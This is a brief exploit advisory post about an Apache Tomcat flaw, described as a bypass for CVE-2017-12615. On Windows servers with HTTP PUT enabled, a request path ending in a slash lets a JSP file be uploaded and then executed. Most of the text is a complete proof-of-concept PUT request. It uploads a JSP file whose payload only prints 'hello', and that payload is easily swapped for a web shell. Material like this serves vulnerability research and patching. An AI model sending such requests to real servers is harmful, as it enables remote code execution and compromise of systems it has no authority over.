Apache Tomcat JSP Upload Bypass / Remote Code Execution
Posted on 05 October 2017
When running on Windows with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server. The PoC is like this: PUT /1.jsp/ HTTP/1.1 Host: 192.168.3.103:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://192.168.3.103:8080/examples/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2 Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94 Connection: close Content-Length: 26 <% out.println("hello");%> It is the bypass for CVE-2017-12615
